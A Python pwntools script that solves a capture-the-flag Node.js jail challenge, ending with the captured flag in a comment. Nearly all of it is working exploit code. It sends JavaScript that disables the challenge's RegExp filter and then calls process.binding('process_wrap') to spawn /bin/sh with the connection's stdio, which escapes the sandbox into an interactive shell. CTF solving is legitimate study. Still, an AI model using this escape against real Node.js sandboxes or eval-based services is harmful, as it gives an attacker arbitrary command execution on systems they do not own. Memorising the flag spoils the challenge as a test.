script.py

#!/usr/bin/env python2
from pwn import *

badchars = "[]\."
regex_nop = '''function(){ return {"test": function() { return false; }}}'''

def run(conn, payload):
    payload = payload.strip().replace("\n", ";")
    conn.sendlineafter("Phone #> ", 'hangup=function(){};' + payload.strip() + "; ask()")

def initialize():
    conn = remote("jail.alieni.se", 55542)

    # remove the check
    run(conn, "RegExp=" + regex_nop)
    run(conn, '''process.on('uncaughtException', (err) => {{
      console.log(err);
      console.log("{}")
      ask();
    }});
    '''.format("-" * 60).replace(" ", ""))
    return conn

script = '''
var Process = process.binding("process_wrap").Process;
p = new Process();
p.onexit = function(exitCode, signalCode) {};
p.spawn({ file: "/bin/sh", stdio: [{type: "fd", fd: 0}, {type: "fd", fd: 1}, {type: "fd", fd: 2}]});
'''

conn = initialize()
run(conn, script)
conn.interactive()
# flag = SECT{1ts_1n_th4T_pl4Ce_Wh3re_1_Pu7_tH4t_Th1ng_th4T_t1m3,}